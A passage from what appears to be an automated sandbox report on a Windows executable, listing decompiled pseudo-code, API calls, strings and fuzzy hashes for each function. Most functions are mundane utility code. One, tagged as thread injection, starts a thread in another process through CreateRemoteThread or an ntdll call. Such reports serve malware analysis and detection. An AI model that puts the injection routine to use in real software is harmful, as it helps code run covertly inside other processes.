", xrefs: 004073EE

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcschr$memcpywcslen
String ID: "
API String ID: 1983396471-123907689
Opcode ID: 6c169a86a34af99064e62799b2294b8632790dd142111a0045f0f8e404fdb2fe
Instruction ID: 00b3f0686b04e7c82e40785714242b478475f00d1c6093d835cc4068bab83974
Opcode Fuzzy Hash: 6c169a86a34af99064e62799b2294b8632790dd142111a0045f0f8e404fdb2fe
Instruction Fuzzy Hash: 4E315F31E04208ABDF10EFA5C8819AE7BB9EF54314F20457BEC50B72C2D778AA41DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040A272, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040A272(struct HINSTANCE__** __eax, void* _a4, _Unknown_base(*)()* _a8, void* _a12, DWORD* _a16) {
				void* _v8;
				char _v12;
				char* _v20;
				long _v24;
				intOrPtr _v28;
				char* _v36;
				signed int _v40;
				void _v44;
				char _v48;
				char _v52;
				struct _OSVERSIONINFOW _v328;
				void* __esi;
				signed int _t40;
				intOrPtr* _t44;
				void* _t49;
				struct HINSTANCE__** _t54;
				signed int _t55;

				_t54 = __eax;
				_v328.dwOSVersionInfoSize = 0x114;
				GetVersionExW( &_v328);
				if(_v328.dwMajorVersion < 6) {
					return CreateRemoteThread(_a4, 0, 0, _a8, _a12, 4, _a16);
				}
				E0040A1EF(_t54);
				_t44 =  *((intOrPtr*)(_t54 + 4));
				if(_t44 != 0) {
					_t55 = 8;
					memset( &_v44, 0, _t55 << 2);
					_v12 = 0;
					asm("stosd");
					_v36 =  &_v12;
					_v20 =  &_v52;
					_v48 = 0x24;
					_v44 = 0x10003;
					_v40 = _t55;
					_v28 = 0x10004;
					_v24 = 4;
					_a16 = 0;
					_t40 =  *_t44( &_a16, 0x1fffff, 0, _a4, _a8, _a12, 1, 0, 0, 0,  &_v48, _t49);
					asm("sbb eax, eax");
					return  !( ~_t40) & _a16;
				}
				return 0;
			}

0x0040a27d
0x0040a286
0x0040a290
0x0040a29d
0x00000000
0x0040a32f
0x0040a29f
0x0040a2a4
0x0040a2ad
0x0040a2b6
0x0040a2bc
0x0040a2be
0x0040a2c4
0x0040a2c8
0x0040a2ce
0x0040a2e3
0x0040a2ed
0x0040a2fb
0x0040a2fe
0x0040a305
0x0040a30c
0x0040a30f
0x0040a313
0x00000000
0x0040a31a
0x0040a338

APIs

GetVersionExW.KERNEL32(?,76D268A0,00000000), ref: 0040A290
CreateRemoteThread.KERNEL32(?,00000000,00000000,?,?,00000004,?), ref: 0040A32F

Part of subcall function 0040A1EF: LoadLibraryW.KERNEL32(ntdll.dll,?,?,?,?,0040A2A4), ref: 0040A1FF
Part of subcall function 0040A1EF: GetProcAddress.KERNEL32(00000000,?), ref: 0040A263

Strings

$, xrefs: 0040A2E3

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressCreateLibraryLoadProcRemoteThreadVersion
String ID: $
API String ID: 283512611-3993045852
Opcode ID: d6a2f9152dd1fe2f0352f3baa78907b361cfe50d89148d1dfcfba5149de364ff
Instruction ID: f7bb912936b7b9019fec647a10c74351ea71fc4cb5320a39ef1905a9d188216f
Opcode Fuzzy Hash: d6a2f9152dd1fe2f0352f3baa78907b361cfe50d89148d1dfcfba5149de364ff
Instruction Fuzzy Hash: CC216DB290020DEFDF11CF94DD44AEE7BB9FB88704F00802AFA05B6190D7B59A54CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401676, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00401676(void* __ecx, intOrPtr* __esi, void* __eflags, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				char _v80;
				signed short _v65616;
				void* _t27;
				intOrPtr _t28;
				void* _t34;
				intOrPtr _t39;
				intOrPtr* _t51;
				void* _t52;

				_t51 = __esi;
				E0040B550(0x1004c, __ecx);
				_t39 = 0;
				_push(0);
				_push( &_v8);
				_v8 =  *((intOrPtr*)(_a4 + 0x1c));
				_push(L"Lines");
				_t27 =  *((intOrPtr*)( *__esi))();
				if(_v8 > 0) {
					do {
						_t6 = _t39 + 1; // 0x1
						_t28 = _t6;
						_push(_t28);
						_push(L"Line%d");
						_v12 = _t28;
						_push(0x1f);
						_push( &_v80);
						L0040B1EC();
						_t52 = _t52 + 0x10;
						_push(0x7fff);
						_push(0x40c4e8);
						if( *((intOrPtr*)(_t51 + 4)) == 0) {
							_v65616 = _v65616 & 0x00000000;
							 *((intOrPtr*)( *_t51 + 0x10))( &_v80,  &_v65616);
							_t34 = E004054DF(_a4, _t51,  &_v65616);
						} else {
							_t34 =  *((intOrPtr*)( *_t51 + 0x10))( &_v80, E00405581(_a4, _t39));
						}
						_t39 = _v12;
					} while (_t39 < _v8);
					return _t34;
				}
				return _t27;
			}

0x00401676
0x0040167e
0x0040168a
0x0040168c
0x00401690
0x00401691
0x00401696
0x0040169d
0x004016a2
0x004016aa
0x004016aa
0x004016aa
0x004016ad
0x004016ae
0x004016b3
0x004016b9
0x004016bb
0x004016bc
0x004016c1
0x004016c8
0x004016cd
0x004016ce
0x004016ea
0x004016ff
0x0040170c
0x004016d0
0x004016e3
0x004016e3
0x00401711
0x00401714
0x00000000
0x00401719
0x0040171c

APIs

_snwprintf.MSVCRT ref: 004016BC

Strings

Line%d, xrefs: 004016AE
Lines, xrefs: 00401696

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf
String ID: Line%d$Lines
API String ID: 3988819677-2790224864
Opcode ID: c1f721086df18e7d6bb8eccb45024a01d2e3fe78f3e8b8c51705c1ae483569b9
Instruction ID: 1021665491e9d2d06496d958327cd8fefc515fbb55266dd5f91e98284186a054
Opcode Fuzzy Hash: c1f721086df18e7d6bb8eccb45024a01d2e3fe78f3e8b8c51705c1ae483569b9
Instruction Fuzzy Hash: 4C110071A00208EFCB15DF98C8C1D9EB7B9EF48704F1045BAF645E7281D778AA458B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040512F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0040512F(intOrPtr _a4, intOrPtr _a8, void* _a12) {
				void* _v8;
				void* _v26;
				void _v28;
				void* _t24;
				void* _t25;
				void* _t35;
				signed int _t38;
				signed int _t42;
				void* _t44;
				void* _t45;

				_t24 = _a12;
				_t45 = _t44 - 0x18;
				_t42 = 0;
				 *_t24 = 0;
				if(_a8 <= 0) {
					_t25 = 0;
				} else {
					_t38 = 0;
					_t35 = 0;
					if(_a8 > 0) {
						_v8 = _t24;
						while(1) {
							_v28 = _v28 & 0x00000000;
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosw");
							_push( *(_t35 + _a4) & 0x000000ff);
							_push(L"%2.2X ");
							_push(0xa);
							_push( &_v28);
							L0040B1EC();
							_t38 = _t42;
							memcpy(_v8,  &_v28, 6);
							_t13 = _t42 + 3; // 0x3
							_t45 = _t45 + 0x1c;
							if(_t13 >= 0x2000) {
								break;
							}
							_v8 = _v8 + 6;
							_t35 = _t35 + 1;
							_t42 = _t42 + 3;
							if(_t35 < _a8) {
								continue;
							}
							break;
						}
						_t24 = _a12;
					}
					 *(_t24 + 4 + _t38 * 2) =  *(_t24 + 4 + _t38 * 2) & 0x00000000;
					_t25 = 1;
				}
				return _t25;
			}

0x00405132
0x00405135
0x00405139
0x0040513e
0x00405141
0x004051b3
0x00405143
0x00405145
0x00405147
0x0040514c
0x0040514e
0x00405151
0x00405151
0x0040515b
0x0040515c
0x0040515d
0x0040515e
0x0040515f
0x00405168
0x00405169
0x00405171
0x00405173
0x00405174
0x00405182
0x00405184
0x00405189
0x0040518c
0x00405194
0x00000000
0x00000000
0x00405196
0x0040519a
0x0040519b
0x004051a1
0x00000000
0x00000000
0x00000000
0x004051a1
0x004051a3
0x004051a3
0x004051a6
0x004051af
0x004051b0
0x004051b7

APIs

_snwprintf.MSVCRT ref: 00405174
memcpy.MSVCRT ref: 00405184

Strings

%2.2X , xrefs: 00405169

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfmemcpy
String ID: %2.2X
API String ID: 2789212964-323797159
Opcode ID: 66b7574eb9a61f89bba5daddfea12679ea202a088e21b7349ae655d3273dc8be
Instruction ID: b76e4bbe2d26c53343c630e3245d096d82678977124e835a89109146ed91de65
Opcode Fuzzy Hash: 66b7574eb9a61f89bba5daddfea12679ea202a088e21b7349ae655d3273dc8be
Instruction Fuzzy Hash: 5A11A532900608BFEB01DFE8C882AAF77B9FB45314F104477ED14EB141D6789A058BD5

Uniqueness

Uniqueness Score: -1.00%

Function 004075BB, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E004075BB(void* __ebx, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				char _v44;
				intOrPtr _t22;
				signed int _t30;
				signed int _t34;
				void* _t35;
				void* _t36;

				_t35 = __esi;
				_t34 = 0;
				if( *((intOrPtr*)(__esi + 0x2c)) > 0) {
					do {
						_t30 =  *( *((intOrPtr*)(__esi + 0x30)) + _t34 * 4);
						_t22 =  *((intOrPtr*)(_t30 * 0x14 +  *((intOrPtr*)(__esi + 0x40)) + 0xc));
						L0040B1EC();
						_push( *((intOrPtr*)( *_a8))(_t30,  *((intOrPtr*)(__esi + 0x64)),  &_v44, 0x14, L"%%-%d.%ds ", _t22, _t22));
						_push( &_v44);
						_push(0x2000);
						_push( *((intOrPtr*)(__esi + 0x60)));
						L0040B1EC();
						_t36 = _t36 + 0x24;
						E00407343(__esi, _a4,  *((intOrPtr*)(__esi + 0x60)));
						_t34 = _t34 + 1;
					} while (_t34 <  *((intOrPtr*)(__esi + 0x2c)));
				}
				return E00407343(_t35, _a4, L"\r\n");
			}

0x004075bb
0x004075c2
0x004075c7
0x004075ca
0x004075cd
0x004075d8
0x004075e9
0x004075fc
0x00407600
0x00407601
0x00407606
0x00407609
0x0040760e
0x00407619
0x0040761e
0x0040761f
0x00407624
0x00407636

APIs

_snwprintf.MSVCRT ref: 004075E9
_snwprintf.MSVCRT ref: 00407609

Strings

%%-%d.%ds , xrefs: 004075DE

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf
String ID: %%-%d.%ds
API String ID: 3988819677-2008345750
Opcode ID: 8b20a529ff37d77b79effa085cf49c3b2d19e50ebfb67170c6dd6cfdd11deb7b
Instruction ID: ecb877ded915dbad8d5af0e436ed4e240226c92ce5a1c47ab2288d53f8dcf9da
Opcode Fuzzy Hash: 8b20a529ff37d77b79effa085cf49c3b2d19e50ebfb67170c6dd6cfdd11deb7b
Instruction Fuzzy Hash: BC01B931600704AFD7109F69CC82D5A77ADFF48304B004439FD86B7292D635F911DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040507A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040507A(intOrPtr __eax, wchar_t* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				wchar_t* _v52;
				intOrPtr _v56;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v76;
				struct tagOFNA _v80;

				_v76 = __eax;
				_v68 = _a4;
				_v64 = 0;
				_v44 = 0;
				_v36 = 0;
				_v32 = _a8;
				_v20 = _a12;
				_v80 = 0x4c;
				_v56 = 1;
				_v52 = __esi;
				_v48 = 0x104;
				_v28 = 0x81804;
				if(GetOpenFileNameW( &_v80) == 0) {
					return 0;
				} else {
					wcscpy(__esi, _v52);
					return 1;
				}
			}

0x00405080
0x00405086
0x0040508b
0x0040508e
0x00405091
0x00405097
0x0040509d
0x004050a4
0x004050ab
0x004050b2
0x004050b5
0x004050bc
0x004050cb
0x004050e0
0x004050cd
0x004050d1
0x004050dc
0x004050dc

APIs

GetOpenFileNameW.COMDLG32(?), ref: 004050C3
wcscpy.MSVCRT ref: 004050D1

Strings

L, xrefs: 004050A4

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileNameOpenwcscpy
String ID: L
API String ID: 3246554996-2909332022
Opcode ID: a51a7b57d6ecd1b98ae1f97c69f64cb7c1c2e9715c85319fb07a92e86122e8f3
Instruction ID: bc55e530e402ba4b599a228f817f204aa1fc4279979982f23bca087f07049b97
Opcode Fuzzy Hash: a51a7b57d6ecd1b98ae1f97c69f64cb7c1c2e9715c85319fb07a92e86122e8f3
Instruction Fuzzy Hash: 9A015FB1D102199FDF40DFA9D885ADEBBF4BB08304F14812AE915F6240E77495458F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040906D, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040906D(struct HINSTANCE__** __eax, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* __esi;
				_Unknown_base(*)()* _t10;
				void* _t12;
				struct HINSTANCE__** _t13;

				_t13 = __eax;
				_t12 = 0;
				if(E00408F72(__eax) != 0) {
					_t10 = GetProcAddress( *_t13, "LookupAccountSidW");
					if(_t10 != 0) {
						_t12 =  *_t10(0, _a4, _a8, _a12, _a16, _a20, _a24);
					}
				}
				return _t12;
			}

0x00409072
0x00409074
0x0040907d
0x00409086
0x0040908e
0x004090a5
0x004090a5
0x0040908e
0x004090ac

APIs

GetProcAddress.KERNEL32(?,LookupAccountSidW), ref: 00409086

Strings

LookupAccountSidW, xrefs: 0040907F
Y@, xrefs: 0040906D

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc
String ID: LookupAccountSidW$Y@
API String ID: 190572456-2352570548
Opcode ID: ef5ceafcaa1143e80c32773d35785430279aa9a6fc3cb1ecefeef801cdbe6fb2
Instruction ID: 3ebfd29b958db2e29df2983e37ea976ab6b1d16e8490ad6d4f073a9de280f7a1
Opcode Fuzzy Hash: ef5ceafcaa1143e80c32773d35785430279aa9a6fc3cb1ecefeef801cdbe6fb2
Instruction Fuzzy Hash: F5E0E537100109BBDF125E96DD01CAB7AA79F84750B144035FA54E1161D6368821A794

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD85, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040AD85(intOrPtr _a4) {
				_Unknown_base(*)()* _t3;
				void* _t7;
				struct HINSTANCE__* _t8;
				char** _t9;

				_t7 = 0;
				_t8 = E00405436(L"shlwapi.dll");
				 *_t9 = "SHAutoComplete";
				_t3 = GetProcAddress(_t8, ??);
				if(_t3 != 0) {
					_t7 =  *_t3(_a4, 0x10000001);
				}
				FreeLibrary(_t8);
				return _t7;
			}

0x0040ad8c
0x0040ad93
0x0040ad95
0x0040ad9d
0x0040ada5
0x0040adb2
0x0040adb2
0x0040adb5
0x0040adbf

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,shlwapi.dll), ref: 0040AD9D
FreeLibrary.KERNEL32(00000000,?,00403CB8,00000000), ref: 0040ADB5

Strings

shlwapi.dll, xrefs: 0040AD87

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$Load$AddressFreeProcmemsetwcscat
String ID: shlwapi.dll
API String ID: 4092907564-3792422438
Opcode ID: 60c0f151f26cb5c38cd65ac108f35652f4abbc6483df8549b5860e56d1e4938b
Instruction ID: 3ba04cc2888c968bb17b12a51753cff707eeab9003a5d350ca2caef87bad7666
Opcode Fuzzy Hash: 60c0f151f26cb5c38cd65ac108f35652f4abbc6483df8549b5860e56d1e4938b
Instruction Fuzzy Hash: E1D01235211111EBD7616B66AD44A9F7AA6DFC1351B060036F544F2191DB3C4846C669

Uniqueness

Uniqueness Score: -1.00%

Function 00406597, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406597(wchar_t* __esi) {
				wchar_t* _t2;
				wchar_t* _t6;

				_t6 = __esi;
				E00404AD9(__esi);
				_t2 = wcsrchr(__esi, 0x2e);
				if(_t2 != 0) {
					 *_t2 =  *_t2 & 0x00000000;
				}
				return wcscat(_t6, L"_lng.ini");
			}

0x00406597
0x00406598
0x004065a0
0x004065aa
0x004065ac
0x004065ac
0x004065bd

APIs

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

wcsrchr.MSVCRT ref: 004065A0
wcscat.MSVCRT ref: 004065B6

Strings

_lng.ini, xrefs: 004065B0

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileModuleNamewcscatwcsrchr
String ID: _lng.ini
API String ID: 383090722-1948609170
Opcode ID: 3432a58373c8f6497560b18ec501466e1d989437fee4d639b0ed4d8698fe302d
Instruction ID: e4456dc4ef972d75cd366ed24565615e7e819105f92635e6590d4ece6e8d8120
Opcode Fuzzy Hash: 3432a58373c8f6497560b18ec501466e1d989437fee4d639b0ed4d8698fe302d
Instruction Fuzzy Hash: 16C01292682620A4E2223322AC03B4F1248CF62324F21407BF906381C7EFBD826180EE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC52, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AC52() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;

				if( *0x4101c4 == 0) {
					_t1 = E00405436(L"shell32.dll");
					 *0x4101c4 = _t1;
					if(_t1 != 0) {
						_t2 = GetProcAddress(_t1, "SHGetSpecialFolderPathW");
						 *0x4101c0 = _t2;
						return _t2;
					}
				}
				return _t1;
			}

0x0040ac59
0x0040ac60
0x0040ac68
0x0040ac6d
0x0040ac75
0x0040ac7b
0x00000000
0x0040ac7b
0x0040ac6d
0x0040ac80

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 0040AC75

Strings

SHGetSpecialFolderPathW, xrefs: 0040AC6F
shell32.dll, xrefs: 0040AC5B

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$AddressProcmemsetwcscat
String ID: SHGetSpecialFolderPathW$shell32.dll
API String ID: 946536540-880857682
Opcode ID: c6b2f9cbd74a5c44be84662768ba9687afe1719f9bd5d931826811f56c49482b
Instruction ID: 297d67d15b42b64e279660486abf15c243c4c6a8dcafd005a32ae5f28444c9d4
Opcode Fuzzy Hash: c6b2f9cbd74a5c44be84662768ba9687afe1719f9bd5d931826811f56c49482b
Instruction Fuzzy Hash: 9AD0C9B0D8A301ABE7106BB0AF05B523AA4B704301F12417BF800B12E0DBBE90888A1E

Uniqueness

Uniqueness Score: -1.00%

Function 00406670, Relevance: 5.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00406670(char** __esi, void* __eflags) {
				char* _t30;
				char** _t39;

				_t39 = __esi;
				 *__esi = "cf@";
				__esi[0xb8] = 0;
				_t30 = E00404FA4(0x338, __esi);
				_push(0x14);
				__esi[0xcb] = 0;
				__esi[0xa6] = 0;
				__esi[0xb9] = 0;
				__esi[0xba] = 0xfff;
				__esi[8] = 0;
				__esi[1] = 0;
				__esi[0xb7] = 1;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[2] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[3] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[4] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_t39[5] = _t30;
				return _t39;
			}

0x00406670
0x0040667a
0x00406680
0x00406686
0x0040668b
0x0040668d
0x00406693
0x00406699
0x0040669f
0x004066a9
0x004066ac
0x004066af
0x004066b9
0x004066c7
0x004066d9
0x004066c9
0x004066c9
0x004066cc
0x004066cf
0x004066d2
0x004066d5
0x004066d5
0x004066db
0x004066dd
0x004066e0
0x004066e8
0x004066fa
0x004066ea
0x004066ea
0x004066ed
0x004066f0
0x004066f3
0x004066f6
0x004066f6
0x004066fc
0x004066fe
0x00406701
0x00406709
0x0040671b
0x0040670b
0x0040670b
0x0040670e
0x00406711
0x00406714
0x00406717
0x00406717
0x0040671d
0x0040671f
0x00406722
0x0040672a
0x0040673c
0x0040672c
0x0040672c
0x0040672f
0x00406732
0x00406735
0x00406738
0x00406738
0x0040673f
0x00406745

APIs

Part of subcall function 00404FA4: memset.MSVCRT ref: 00404FB2

??2@YAPAXI@Z.MSVCRT ref: 004066B9
??2@YAPAXI@Z.MSVCRT ref: 004066E0
??2@YAPAXI@Z.MSVCRT ref: 00406701
??2@YAPAXI@Z.MSVCRT ref: 00406722

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@$memset
String ID:
API String ID: 1860491036-0
Opcode ID: e85a19cc904d935af36f35088f158f19d60a259a6de7382aef0aa8ca398aac1e
Instruction ID: f950f85206354bd8a0b3bb5dce35e971dba3beadb745d31d99e8bf3535aee89b
Opcode Fuzzy Hash: e85a19cc904d935af36f35088f158f19d60a259a6de7382aef0aa8ca398aac1e
Instruction Fuzzy Hash: F121D4B0A007008FD7219F2AC448956FBE8FF90314B2689BFD15ADB2B1D7B89441DF18

Uniqueness

Uniqueness Score: -1.00%

Function 004054DF, Relevance: 5.1, APIs: 4, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004054DF(signed int* __eax, void* __ecx, wchar_t* _a4) {
				int _v8;
				signed int _v12;
				void* __edi;
				int _t32;
				intOrPtr _t33;
				intOrPtr _t36;
				signed int _t48;
				signed int _t58;
				signed int _t59;
				void** _t62;
				void** _t63;
				signed int* _t66;

				_t66 = __eax;
				_t32 = wcslen(_a4);
				_t48 =  *(_t66 + 4);
				_t58 = _t48 + _t32;
				_v12 = _t58;
				_t59 = _t58 + 1;
				_v8 = _t32;
				_t33 =  *((intOrPtr*)(_t66 + 0x14));
				 *(_t66 + 4) = _t59;
				_t62 = _t66 + 0x10;
				if(_t59 != 0xffffffff) {
					E00404951(_t66, _t59, _t62, 2, _t33);
				} else {
					free( *_t62);
				}
				_t60 =  *(_t66 + 0x1c);
				_t36 =  *((intOrPtr*)(_t66 + 0x18));
				_t63 = _t66 + 0xc;
				if( *(_t66 + 0x1c) != 0xffffffff) {
					E00404951(_t66 + 8, _t60, _t63, 4, _t36);
				} else {
					free( *_t63);
				}
				memcpy( *(_t66 + 0x10) + _t48 * 2, _a4, _v8 + _v8);
				 *((short*)( *(_t66 + 0x10) + _v12 * 2)) =  *( *(_t66 + 0x10) + _v12 * 2) & 0x00000000;
				 *( *_t63 +  *(_t66 + 0x1c) * 4) = _t48;
				 *(_t66 + 0x1c) =  *(_t66 + 0x1c) + 1;
				_t30 =  *(_t66 + 0x1c) - 1; // -1
				return _t30;
			}

0x004054ea
0x004054ec
0x004054f1
0x004054f4
0x004054f7
0x004054fa
0x004054fe
0x00405501
0x00405505
0x00405508
0x0040550b
0x0040551b
0x0040550d
0x0040550f
0x0040550f
0x00405521
0x00405527
0x0040552b
0x0040552e
0x0040553f
0x00405530
0x00405532
0x00405532
0x00405556
0x00405561
0x0040556e
0x00405571
0x00405578
0x0040557e

APIs

wcslen.MSVCRT ref: 004054EC
free.MSVCRT(?,00000001,?,00000000,?,?,?,00405830,?,00000000,?,00000000), ref: 0040550F

Part of subcall function 00404951: malloc.MSVCRT ref: 0040496D
Part of subcall function 00404951: memcpy.MSVCRT ref: 00404985
Part of subcall function 00404951: free.MSVCRT(00000000,00000000,?,004055BF,00000002,?,00000000,?,004057E1,00000000,?,00000000), ref: 0040498E

free.MSVCRT(?,00000001,?,00000000,?,?,?,00405830,?,00000000,?,00000000), ref: 00405532
memcpy.MSVCRT ref: 00405556

